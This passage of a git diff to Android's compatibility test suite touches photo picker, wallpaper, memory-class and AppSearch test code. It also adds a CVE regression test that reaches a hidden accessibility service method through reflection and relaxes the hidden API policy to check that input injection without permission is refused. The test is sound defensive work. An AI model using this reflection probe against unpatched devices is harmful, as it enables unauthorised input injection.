--- a/tests/PhotoPicker/src/android/photopicker/cts/util/UiAssertionUtils.java
+++ b/tests/PhotoPicker/src/android/photopicker/cts/util/UiAssertionUtils.java
@@ -30,7 +30,7 @@ public class UiAssertionUtils {
/**
* Verifies PhotoPicker UI is shown.
*/
- public static void assertThatShowsPickerUi() {
+ public static void assertThatShowsPickerUi(String mimeTypeFilter) {
// Assert that Bottom Sheet is shown
// Add a short timeout wait for PhotoPicker to show
assertThat(new UiObject(new UiSelector().resourceIdMatches(
@@ -42,8 +42,15 @@ public class UiAssertionUtils {
PhotoPickerUiUtils.REGEX_PACKAGE_NAME + ":id/privacy_text"))
.exists()).isTrue();
+ boolean hasVideoMimeTypeFilter = (mimeTypeFilter != null)
+ && mimeTypeFilter.toLowerCase().contains("video/");
+
// Assert that "Photos" and "Albums" headers are shown.
- assertThat(new UiObject(new UiSelector().text("Photos")).exists()).isTrue();
+ if (hasVideoMimeTypeFilter) {
+ assertThat(new UiObject(new UiSelector().text("Videos")).exists()).isTrue();
+ } else {
+ assertThat(new UiObject(new UiSelector().text("Photos")).exists()).isTrue();
+ }
assertThat(new UiObject(new UiSelector().text("Albums")).exists()).isTrue();
}
}
diff --git a/tests/accessibility/AndroidTest.xml b/tests/accessibility/AndroidTest.xml
index 50c779179b9..0ec90a03c74 100644
--- a/tests/accessibility/AndroidTest.xml
+++ b/tests/accessibility/AndroidTest.xml
@@ -24,6 +24,10 @@
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
<option name="run-command" value="cmd accessibility set-bind-instant-service-allowed true" />
<option name="teardown-command" value="cmd accessibility set-bind-instant-service-allowed false" />
+ <!-- Enable hidden APIs to allow tests to use reflection, for security tests which
+ check reflection abuse. This must be set before installing the test app. -->
+ <option name="run-command" value="settings put global hidden_api_policy 1" />
+ <option name="teardown-command" value="settings delete global hidden_api_policy" />
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java
index 6c210583e47..1c8f6847705 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java
@@ -18,12 +18,17 @@ package android.view.accessibility.cts;
import static android.accessibility.cts.common.InstrumentedAccessibilityService.TIMEOUT_SERVICE_ENABLE;
+import static com.google.common.truth.Truth.assertThat;
+
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertThrows;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
+
+import android.Manifest;
import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
import android.accessibility.cts.common.InstrumentedAccessibilityService;
import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
@@ -32,9 +37,12 @@ import android.app.Instrumentation;
import android.app.Service;
import android.app.UiAutomation;
import android.content.Context;
+import android.content.pm.PackageManager;
import android.content.pm.ServiceInfo;
import android.os.Handler;
import android.platform.test.annotations.AsbSecurityTest;
+import android.view.InputEvent;
+import android.view.MotionEvent;
import android.view.accessibility.AccessibilityEvent;
import android.view.accessibility.AccessibilityManager;
import android.view.accessibility.AccessibilityManager.AccessibilityServicesStateChangeListener;
@@ -58,6 +66,9 @@ import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
import java.util.List;
import java.util.concurrent.atomic.AtomicBoolean;
@@ -202,6 +213,32 @@ public class AccessibilityManagerTest extends StsExtraBusinessLogicTestCase {
assertFalse(mAccessibilityManager.removeAccessibilityServicesStateChangeListener(listener));
}
+ @AsbSecurityTest(cveBugId = {309426390})
+ @Test
+ public void testInjectInputEventToInputFilter_throwsWithoutInjectEventsPermission()
+ throws Exception {
+ // Ensure the test itself doesn't have INJECT_EVENTS permission before
+ // calling the method that requires it and expecting failure.
+ assertThat(sInstrumentation.getContext().checkSelfPermission(
+ Manifest.permission.INJECT_EVENTS)).isEqualTo(PackageManager.PERMISSION_DENIED);
+
+ // Use reflection to directly invoke IAccessibilityManager#injectInputEventToInputFilter.
+ final AccessibilityManager accessibilityManager = (AccessibilityManager)
+ sInstrumentation.getContext().getSystemService(Service.ACCESSIBILITY_SERVICE);
+ final Field serviceField = AccessibilityManager.class.getDeclaredField("mService");
+ serviceField.setAccessible(true);
+ final Method injectInputEventToInputFilter =
+ Class.forName("android.view.accessibility.IAccessibilityManager")
+ .getDeclaredMethod("injectInputEventToInputFilter", InputEvent.class);
+
+ final InvocationTargetException exception = assertThrows(InvocationTargetException.class,
+ () -> injectInputEventToInputFilter.invoke(
+ serviceField.get(accessibilityManager),
+ MotionEvent.obtain(0, 0, 0, 0, 0, 0)));
+ assertThat(exception).hasCauseThat().isInstanceOf(SecurityException.class);
+ assertThat(exception).hasCauseThat().hasMessageThat().contains("INJECT_EVENTS");
+ }
+
@Test
public void testGetInstalledAccessibilityServicesList() throws Exception {
List<AccessibilityServiceInfo> installedServices =
diff --git a/tests/app/WallpaperTest/src/android/app/cts/wallpapers/WallpaperManagerTest.java b/tests/app/WallpaperTest/src/android/app/cts/wallpapers/WallpaperManagerTest.java
index d41303a7c99..66515d8f6b1 100644
--- a/tests/app/WallpaperTest/src/android/app/cts/wallpapers/WallpaperManagerTest.java
+++ b/tests/app/WallpaperTest/src/android/app/cts/wallpapers/WallpaperManagerTest.java
@@ -46,6 +46,7 @@ import static org.mockito.Mockito.verify;
import android.app.Activity;
import android.app.WallpaperColors;
+import android.app.WallpaperInfo;
import android.app.WallpaperManager;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
@@ -117,6 +118,11 @@ public class WallpaperManagerTest {
private BroadcastReceiver mBroadcastReceiver;
private CountDownLatch mCountDownLatch;
private boolean mEnableWcg;
+
+ // WallpaperInfo object for the built-in default wallpaper of the device.
+ // Always null if the device uses ImageWallpaper by default.
+ private WallpaperInfo mDefaultWallpaperInfo;
+
private static final WindowManagerStateHelper sWindowManagerStateHelper =
new WindowManagerStateHelper();
@@ -157,6 +163,9 @@ public class WallpaperManagerTest {
new IntentFilter(Intent.ACTION_WALLPAPER_CHANGED));
mEnableWcg = mWallpaperManager.shouldEnableWideColorGamut();
mWallpaperManager.clear(FLAG_SYSTEM | FLAG_LOCK);
+ if (mDefaultWallpaperInfo == null) {
+ mDefaultWallpaperInfo = mWallpaperManager.getWallpaperInfo(FLAG_SYSTEM);
+ }
assertWithMessage("Home screen wallpaper must be set after setUp()").that(
mWallpaperManager.getWallpaperId(FLAG_SYSTEM)).isAtLeast(0);
@@ -597,8 +606,8 @@ public class WallpaperManagerTest {
@Test
public void setStaticWallpaper_doesNotSetWallpaperInfo() throws IOException {
- assertThat(mWallpaperManager.getWallpaperInfo(FLAG_SYSTEM)).isNull();
- assertThat(mWallpaperManager.getWallpaperInfo(FLAG_LOCK)).isNull();
+ assertNullOrDefaultWallpaper(FLAG_SYSTEM);
+ assertNullOrDefaultWallpaper(FLAG_LOCK);
mWallpaperManager.setResource(R.drawable.icon_red, FLAG_SYSTEM);
mWallpaperManager.setResource(R.drawable.icon_green, FLAG_LOCK);
@@ -609,8 +618,8 @@ public class WallpaperManagerTest {
@Test
public void setLiveWallpaper_homeScreen_setsHomeWallpaperInfo() {
- assertThat(mWallpaperManager.getWallpaperInfo(FLAG_SYSTEM)).isNull();
- assertThat(mWallpaperManager.getWallpaperInfo(FLAG_LOCK)).isNull();
+ assertNullOrDefaultWallpaper(FLAG_SYSTEM);
+ assertNullOrDefaultWallpaper(FLAG_LOCK);
runWithShellPermissionIdentity(() -> {
setWallpaperComponentAndWait(DEFAULT_COMPONENT_NAME, FLAG_SYSTEM);
@@ -618,8 +627,7 @@ public class WallpaperManagerTest {
assertWithMessage("Home screen").that(
mWallpaperManager.getWallpaperInfo(FLAG_SYSTEM)).isNotNull();
- assertWithMessage("Lock screen").that(
- mWallpaperManager.getWallpaperInfo(FLAG_LOCK)).isNull();
+ assertNullOrDefaultWallpaper(FLAG_LOCK);
}
@Test
@@ -641,15 +649,14 @@ public class WallpaperManagerTest {
@Test
public void setLiveWallpaper_lockScreen_multiEngine_setsLockWallpaperInfo() {
assumeTrue(mWallpaperManager.isLockscreenLiveWallpaperEnabled());
- assertThat(mWallpaperManager.getWallpaperInfo(FLAG_SYSTEM)).isNull();
- assertThat(mWallpaperManager.getWallpaperInfo(FLAG_LOCK)).isNull();
+ assertNullOrDefaultWallpaper(FLAG_SYSTEM);
+ assertNullOrDefaultWallpaper(FLAG_LOCK);
runWithShellPermissionIdentity(() -> {
setWallpaperComponentAndWait(DEFAULT_COMPONENT_NAME, FLAG_LOCK);
});
- assertWithMessage("Home screen").that(
- mWallpaperManager.getWallpaperInfo(FLAG_SYSTEM)).isNull();
+ assertNullOrDefaultWallpaper(FLAG_SYSTEM);
assertWithMessage("Lock screen").that(
mWallpaperManager.getWallpaperInfo(FLAG_LOCK)).isNotNull();
}
@@ -1612,7 +1619,7 @@ public class WallpaperManagerTest {
* @param which FLAG_LOCK, FLAG_SYSTEM or a combination of both.
*/
private void verifyColorListenerInvokedClearing(int which) {
- ensureCleanState();
+ ensureCleanState(which);
final CountDownLatch latch = new CountDownLatch(1);
@@ -1696,6 +1703,13 @@ public class WallpaperManagerTest {
}
}
+ private void assertNullOrDefaultWallpaper(int which) {
+ WallpaperInfo wallpaperInfo = mWallpaperManager.getWallpaperInfo(which);
+ if (mDefaultWallpaperInfo == null) assertThat(wallpaperInfo).isNull();
+ if (wallpaperInfo == null) return;
+ assertThat(wallpaperInfo.getComponent()).isEqualTo(mDefaultWallpaperInfo.getComponent());
+ }
+
private void setWallpaperComponentAndWait(ComponentName component, int which) {
mWallpaperManager.setWallpaperComponentWithFlags(component, which);
try {
diff --git a/tests/app/src/android/app/cts/ActivityManagerMemoryClassTest.java b/tests/app/src/android/app/cts/ActivityManagerMemoryClassTest.java
index 0412f819298..dd689c48ea0 100644
--- a/tests/app/src/android/app/cts/ActivityManagerMemoryClassTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerMemoryClassTest.java
@@ -22,9 +22,12 @@ import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.content.res.Configuration;
+import android.graphics.Insets;
import android.test.ActivityInstrumentationTestCase2;
import android.util.DisplayMetrics;
+import android.util.Log;
import android.view.Display;
+import android.view.WindowInsets;
import android.view.WindowManager;
import androidx.test.uiautomator.UiDevice;
@@ -247,7 +250,30 @@ public class ActivityManagerMemoryClassTest
private int getScreenSize() {
Context context = getInstrumentation().getTargetContext();
Configuration config = context.getResources().getConfiguration();
- return config.screenLayout & Configuration.SCREENLAYOUT_SIZE_MASK;
+ final int configScreenSize = config.screenLayout & Configuration.SCREENLAYOUT_SIZE_MASK;
+ final int minScreenSizeDp = Math.min(config.screenWidthDp, config.screenHeightDp);
+ // The insets size may affect screenSizeDp in different orientations. E.g., the short side
+ // is 720dp as the width in portrait orientation, but when the short side is the height in
+ // landscape orientation, the value will be smaller than 720dp because the insets of
+ // system bars may occupy a little space. Then the screen size from Configuration will be
+ // LARGE in landscape and XLARGE in portrait. So below calculation allows to return a
+ // smaller size definition if the size excluding insets is lower than the size threshold.
+ final Insets insets = getActivity().getWindowManager().getCurrentWindowMetrics()
+ .getWindowInsets().getInsetsIgnoringVisibility(WindowInsets.Type.systemBars());
+ final int insetsSize = Math.max(insets.top + insets.bottom, insets.left + insets.right);
+ final int toleranceSizeDp = (int) (insetsSize /
+ ((float) config.densityDpi / DisplayMetrics.DENSITY_DEFAULT) + 0.5f);
+ Log.i("ActivityManagerMemoryClassTest", "getScreenSize: config=" + config
+ + " insets=" + insets + " toleranceSizeDp=" + toleranceSizeDp);
+ if (configScreenSize == Configuration.SCREENLAYOUT_SIZE_XLARGE
+ && (minScreenSizeDp - toleranceSizeDp < 720)) {
+ return Configuration.SCREENLAYOUT_SIZE_LARGE;
+ }
+ if (configScreenSize == Configuration.SCREENLAYOUT_SIZE_LARGE
+ && (minScreenSizeDp - toleranceSizeDp < 480)) {
+ return Configuration.SCREENLAYOUT_SIZE_NORMAL;
+ }
+ return configScreenSize;
}
private void assertMemoryForScreenDensity(int memoryClass, int screenDensity, int screenSize) {
diff --git a/tests/appsearch/Android.bp b/tests/appsearch/Android.bp
index f5f4d26e03f..ed646f7112a 100644
--- a/tests/appsearch/Android.bp
+++ b/tests/appsearch/Android.bp
@@ -20,7 +20,7 @@ android_test {
name: "CtsAppSearchTestCases",
defaults: ["cts_defaults"],
static_libs: [
- "AppSearchTestUtils",
+ "CtsAppSearchTestUtils",
"androidx.test.ext.junit",
"androidx.test.rules",
"compatibility-device-util-axt",
@@ -47,7 +47,7 @@ android_test_helper_app {
name: "CtsAppSearchTestHelperA",
defaults: ["cts_defaults"],
static_libs: [
- "AppSearchTestUtils",
+ "CtsAppSearchTestUtils",
"androidx.test.ext.junit",
"androidx.test.rules",
"compatibility-device-util-axt",
@@ -74,7 +74,7 @@ android_test_helper_app {
name: "CtsAppSearchTestHelperB",
defaults: ["cts_defaults"],
static_libs: [
- "AppSearchTestUtils",
+ "CtsAppSearchTestUtils",
"androidx.test.ext.junit",
"androidx.test.rules",
"compatibility-device-util-axt",
diff --git a/tests/appsearch/testutils/Android.bp b/tests/appsearch/testutils/Android.bp
new file mode 100644
index 00000000000..ad4cd909d05
--- /dev/null
+++ b/tests/appsearch/testutils/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_library {
+ name: "CtsAppSearchTestUtils",
+ srcs: ["src/**/*.java"],
+ libs: [
+ "androidx.test.ext.junit",
+ "framework-annotations-lib",
+ "framework-appsearch.impl",
+ "guava",
+ "service-appsearch-for-tests",
+ "truth-prebuilt",
+ ],
+ sdk_version: "system_server_current",
+ visibility: [
+ "//cts/hostsidetests/appsearch",
+ "//cts/tests:__subpackages__",
+ "//packages/modules/AppSearch/testing:__subpackages__",
+ ],
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/AppSearchSessionShimImpl.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/AppSearchSessionShimImpl.java
new file mode 100644
index 00000000000..1acc7e0ea5a
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/AppSearchSessionShimImpl.java
@@ -0,0 +1,231 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.testutil;
+
+import android.annotation.NonNull;
+import android.annotation.UserIdInt;
+import android.app.appsearch.AppSearchBatchResult;
+import android.app.appsearch.AppSearchManager;
+import android.app.appsearch.AppSearchResult;
+import android.app.appsearch.AppSearchSession;
+import android.app.appsearch.AppSearchSessionShim;
+import android.app.appsearch.Features;
+import android.app.appsearch.GenericDocument;
+import android.app.appsearch.GetByDocumentIdRequest;
+import android.app.appsearch.GetSchemaResponse;
+import android.app.appsearch.PutDocumentsRequest;
+import android.app.appsearch.RemoveByDocumentIdRequest;
+import android.app.appsearch.ReportUsageRequest;
+import android.app.appsearch.SearchResults;
+import android.app.appsearch.SearchResultsShim;
+import android.app.appsearch.SearchSpec;
+import android.app.appsearch.SearchSuggestionResult;
+import android.app.appsearch.SearchSuggestionSpec;
+import android.app.appsearch.SetSchemaRequest;
+import android.app.appsearch.SetSchemaResponse;
+import android.app.appsearch.StorageInfo;
+import android.app.appsearch.exceptions.AppSearchException;
+import android.content.Context;
+import android.os.UserHandle;
+
+import androidx.test.core.app.ApplicationProvider;
+
+import com.google.common.util.concurrent.Futures;
+import com.google.common.util.concurrent.ListenableFuture;
+import com.google.common.util.concurrent.SettableFuture;
+
+import java.util.List;
+import java.util.Objects;
+import java.util.Set;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+
+/**
+ * This test class adapts the AppSearch Framework API to ListenableFuture, so it can be tested via
+ * a consistent interface.
+ * @hide
+ */
+public class AppSearchSessionShimImpl implements AppSearchSessionShim {
+ private final AppSearchSession mAppSearchSession;
+ private final ExecutorService mExecutor;
+
+ /** Creates the SearchSessionShim with given SearchContext. */
+ @NonNull
+ public static ListenableFuture<AppSearchSessionShim> createSearchSessionAsync(
+ @NonNull AppSearchManager.SearchContext searchContext) {
+ Context context = ApplicationProvider.getApplicationContext();
+ return createSearchSessionAsync(context, searchContext, Executors.newCachedThreadPool());
+ }
+
+ /** Creates the SearchSessionShim with given SearchContext for the given user. */
+ @NonNull
+ public static ListenableFuture<AppSearchSessionShim> createSearchSessionAsync(
+ @NonNull AppSearchManager.SearchContext searchContext, @UserIdInt int userId) {
+ Context context = ApplicationProvider.getApplicationContext()
+ .createContextAsUser(UserHandle.of(userId), /*flags=*/ 0);
+ return createSearchSessionAsync(context, searchContext, Executors.newCachedThreadPool());
+ }
+
+ /** Creates the SearchSession with given Context and ExecutorService. */
+ @NonNull
+ public static ListenableFuture<AppSearchSessionShim> createSearchSessionAsync(
+ @NonNull Context context,
+ @NonNull AppSearchManager.SearchContext searchContext,
+ @NonNull ExecutorService executor) {
+ AppSearchManager appSearchManager = context.getSystemService(AppSearchManager.class);
+ SettableFuture<AppSearchResult<AppSearchSession>> future = SettableFuture.create();
+ appSearchManager.createSearchSession(searchContext, executor, future::set);
+ return Futures.transform(
+ future,
+ instance -> new AppSearchSessionShimImpl(instance.getResultValue(), executor),
+ executor);
+ }
+
+ private AppSearchSessionShimImpl(
+ @NonNull AppSearchSession session, @NonNull ExecutorService executor) {
+ mAppSearchSession = Objects.requireNonNull(session);
+ mExecutor = Objects.requireNonNull(executor);
+ }
+
+ @Override
+ @NonNull
+ public ListenableFuture<SetSchemaResponse> setSchemaAsync(@NonNull SetSchemaRequest request) {
+ SettableFuture<AppSearchResult<SetSchemaResponse>> future = SettableFuture.create();
+ mAppSearchSession.setSchema(request, mExecutor, mExecutor, future::set);
+ return Futures.transformAsync(future, this::transformResult, mExecutor);
+ }
+
+ @Override
+ @NonNull
+ public ListenableFuture<GetSchemaResponse> getSchemaAsync() {
+ SettableFuture<AppSearchResult<GetSchemaResponse>> future = SettableFuture.create();
+ mAppSearchSession.getSchema(mExecutor, future::set);
+ return Futures.transformAsync(future, this::transformResult, mExecutor);
+ }
+
+ @NonNull
+ @Override
+ public ListenableFuture<Set<String>> getNamespacesAsync() {
+ SettableFuture<AppSearchResult<Set<String>>> future = SettableFuture.create();
+ mAppSearchSession.getNamespaces(mExecutor, future::set);
+ return Futures.transformAsync(future, this::transformResult, mExecutor);
+ }
+
+ @Override
+ @NonNull
+ public ListenableFuture<AppSearchBatchResult<String, Void>> putAsync(
+ @NonNull PutDocumentsRequest request) {
+ SettableFuture<AppSearchBatchResult<String, Void>> future = SettableFuture.create();
+ mAppSearchSession.put(
+ request, mExecutor, new BatchResultCallbackAdapter<>(future));
+ return future;
+ }
+
+ @Override
+ @NonNull
+ public ListenableFuture<AppSearchBatchResult<String, GenericDocument>> getByDocumentIdAsync(
+ @NonNull GetByDocumentIdRequest request) {
+ SettableFuture<AppSearchBatchResult<String, GenericDocument>> future =
+ SettableFuture.create();
+ mAppSearchSession.getByDocumentId(
+ request, mExecutor, new BatchResultCallbackAdapter<>(future));
+ return future;
+ }
+
+ @Override
+ @NonNull
+ public SearchResultsShim search(
+ @NonNull String queryExpression, @NonNull SearchSpec searchSpec) {
+ SearchResults searchResults = mAppSearchSession.search(queryExpression, searchSpec);
+ return new SearchResultsShimImpl(searchResults, mExecutor);
+ }
+
+ @Override
+ @NonNull
+ public ListenableFuture<Void> reportUsageAsync(@NonNull ReportUsageRequest request) {
+ SettableFuture<AppSearchResult<Void>> future = SettableFuture.create();
+ mAppSearchSession.reportUsage(request, mExecutor, future::set);
+ return Futures.transformAsync(future, this::transformResult, mExecutor);
+ }
+
+ @Override
+ @NonNull
+ public ListenableFuture<AppSearchBatchResult<String, Void>> removeAsync(
+ @NonNull RemoveByDocumentIdRequest request) {
+ SettableFuture<AppSearchBatchResult<String, Void>> future = SettableFuture.create();
+ mAppSearchSession.remove(request, mExecutor, new BatchResultCallbackAdapter<>(future));
+ return future;
+ }
+
+ @Override
+ @NonNull
+ public ListenableFuture<Void> removeAsync(
+ @NonNull String queryExpression, @NonNull SearchSpec searchSpec) {
+ SettableFuture<AppSearchResult<Void>> future = SettableFuture.create();
+ mAppSearchSession.remove(queryExpression, searchSpec, mExecutor, future::set);
+ return Futures.transformAsync(future, this::transformResult, mExecutor);
+ }
+
+ @NonNull
+ @Override
+ public ListenableFuture<StorageInfo> getStorageInfoAsync() {
+ SettableFuture<AppSearchResult<StorageInfo>> future = SettableFuture.create();
+ mAppSearchSession.getStorageInfo(mExecutor, future::set);
+ return Futures.transformAsync(future, this::transformResult, mExecutor);
+ }
+
+ @Override
+ @NonNull
+ public ListenableFuture<Void> requestFlushAsync() {
+ SettableFuture<AppSearchResult<Void>> future = SettableFuture.create();
+ // The data in platform will be flushed by scheduled task. AppSearchSession won't do
+ // anything extra flush.
+ future.set(AppSearchResult.newSuccessfulResult(null));
+ return Futures.transformAsync(future, this::transformResult, mExecutor);
+ }
+
+ @Override
+ @NonNull
+ public ListenableFuture<List<SearchSuggestionResult>> searchSuggestionAsync(
+ @NonNull String suggestionQueryExpression,
+ @NonNull SearchSuggestionSpec searchSuggestionSpec) {
+ SettableFuture<AppSearchResult<List<SearchSuggestionResult>>> future =
+ SettableFuture.create();
+ mAppSearchSession.searchSuggestion(
+ suggestionQueryExpression, searchSuggestionSpec, mExecutor, future::set);
+ return Futures.transform(future, AppSearchResult::getResultValue, mExecutor);
+ }
+
+ @Override
+ @NonNull
+ public Features getFeatures() {
+ return new MainlineFeaturesImpl();
+ }
+
+ @Override
+ public void close() {
+ mAppSearchSession.close();
+ }
+
+ private <T> ListenableFuture<T> transformResult(
+ @NonNull AppSearchResult<T> result) throws AppSearchException {
+ if (!result.isSuccess()) {
+ throw new AppSearchException(result.getResultCode(), result.getErrorMessage());
+ }
+ return Futures.immediateFuture(result.getResultValue());
+ }
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/BatchResultCallbackAdapter.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/BatchResultCallbackAdapter.java
new file mode 100644
index 00000000000..ec82e47c32a
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/BatchResultCallbackAdapter.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.testutil;
+
+import android.app.appsearch.AppSearchBatchResult;
+import android.app.appsearch.BatchResultCallback;
+
+import com.google.common.util.concurrent.SettableFuture;
+
+final class BatchResultCallbackAdapter<K, V>
+ implements BatchResultCallback<K, V> {
+ private final SettableFuture<AppSearchBatchResult<K, V>> mFuture;
+
+ BatchResultCallbackAdapter(SettableFuture<AppSearchBatchResult<K, V>> future) {
+ mFuture = future;
+ }
+
+ @Override
+ public void onResult(AppSearchBatchResult<K, V> result) {
+ mFuture.set(result);
+ }
+
+ @Override
+ public void onSystemError(Throwable t) {
+ mFuture.setException(t);
+ }
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/FakeAppSearchConfig.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/FakeAppSearchConfig.java
new file mode 100644
index 00000000000..e5794347c57
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/FakeAppSearchConfig.java
@@ -0,0 +1,258 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.testutil;
+
+import android.os.Build;
+
+import com.android.server.appsearch.AppSearchRateLimitConfig;
+import com.android.server.appsearch.Denylist;
+import com.android.server.appsearch.FrameworkAppSearchConfig;
+import com.android.server.appsearch.external.localstorage.IcingOptionsConfig;
+
+import java.util.concurrent.atomic.AtomicBoolean;
+
+/**
+ * An instance of {@link FrameworkAppSearchConfig} which does not read from any flag system, but
+ * simply returns the defaults for each key.
+ *
+ * <p>This class is thread safe.
+ *
+ * @hide
+ */
+public final class FakeAppSearchConfig implements FrameworkAppSearchConfig {
+ private final AtomicBoolean mIsClosed = new AtomicBoolean();
+ private static final AppSearchRateLimitConfig DEFAULT_APPSEARCH_RATE_LIMIT_CONFIG =
+ AppSearchRateLimitConfig.create(
+ DEFAULT_RATE_LIMIT_TASK_QUEUE_TOTAL_CAPACITY,
+ DEFAULT_RATE_LIMIT_TASK_QUEUE_PER_PACKAGE_CAPACITY_PERCENTAGE,
+ DEFAULT_RATE_LIMIT_API_COSTS_STRING);
+
+ @Override
+ public void close() {
+ mIsClosed.set(true);
+ }
+
+ @Override
+ public long getCachedMinTimeIntervalBetweenSamplesMillis() {
+ throwIfClosed();
+ return DEFAULT_MIN_TIME_INTERVAL_BETWEEN_SAMPLES_MILLIS;
+ }
+
+ @Override
+ public int getCachedSamplingIntervalDefault() {
+ throwIfClosed();
+ return DEFAULT_SAMPLING_INTERVAL;
+ }
+
+ @Override
+ public int getCachedSamplingIntervalForBatchCallStats() {
+ throwIfClosed();
+ return getCachedSamplingIntervalDefault();
+ }
+
+ @Override
+ public int getCachedSamplingIntervalForPutDocumentStats() {
+ throwIfClosed();
+ return getCachedSamplingIntervalDefault();
+ }
+
+ @Override
+ public int getCachedSamplingIntervalForInitializeStats() {
+ throwIfClosed();
+ return getCachedSamplingIntervalDefault();
+ }
+
+ @Override
+ public int getCachedSamplingIntervalForSearchStats() {
+ throwIfClosed();
+ return getCachedSamplingIntervalDefault();
+ }
+
+ @Override
+ public int getCachedSamplingIntervalForGlobalSearchStats() {
+ throwIfClosed();
+ return getCachedSamplingIntervalDefault();
+ }
+
+ @Override
+ public int getCachedSamplingIntervalForOptimizeStats() {
+ throwIfClosed();
+ return getCachedSamplingIntervalDefault();
+ }
+
+ @Override
+ public int getMaxDocumentSizeBytes() {
+ throwIfClosed();
+ return DEFAULT_LIMIT_CONFIG_MAX_DOCUMENT_SIZE_BYTES;
+ }
+
+ @Override
+ public int getMaxDocumentCount() {
+ throwIfClosed();
+ return DEFAULT_LIMIT_CONFIG_MAX_DOCUMENT_COUNT;
+ }
+
+ @Override
+ public int getMaxSuggestionCount() {
+ throwIfClosed();
+ return DEFAULT_LIMIT_CONFIG_MAX_SUGGESTION_COUNT;
+ }
+
+ @Override
+ public int getCachedBytesOptimizeThreshold() {
+ throwIfClosed();
+ return DEFAULT_BYTES_OPTIMIZE_THRESHOLD;
+ }
+
+ @Override
+ public int getCachedTimeOptimizeThresholdMs() {
+ throwIfClosed();
+ return DEFAULT_TIME_OPTIMIZE_THRESHOLD_MILLIS;
+ }
+
+ @Override
+ public int getCachedDocCountOptimizeThreshold() {
+ throwIfClosed();
+ return DEFAULT_DOC_COUNT_OPTIMIZE_THRESHOLD;
+ }
+
+ @Override
+ public int getCachedMinTimeOptimizeThresholdMs() {
+ throwIfClosed();
+ return DEFAULT_MIN_TIME_OPTIMIZE_THRESHOLD_MILLIS;
+ }
+
+ @Override
+ public int getCachedApiCallStatsLimit() {
+ throwIfClosed();
+ return DEFAULT_API_CALL_STATS_LIMIT;
+ }
+
+ @Override
+ public Denylist getCachedDenylist() {
+ return Denylist.EMPTY_INSTANCE;
+ }
+
+ @Override
+ public int getMaxTokenLength() {
+ throwIfClosed();
+ return IcingOptionsConfig.DEFAULT_MAX_TOKEN_LENGTH;
+ }
+
+ @Override
+ public int getIndexMergeSize() {
+ throwIfClosed();
+ return IcingOptionsConfig.DEFAULT_INDEX_MERGE_SIZE;
+ }
+
+ @Override
+ public boolean getDocumentStoreNamespaceIdFingerprint() {
+ throwIfClosed();
+ return IcingOptionsConfig.DEFAULT_DOCUMENT_STORE_NAMESPACE_ID_FINGERPRINT;
+ }
+
+ @Override
+ public float getOptimizeRebuildIndexThreshold() {
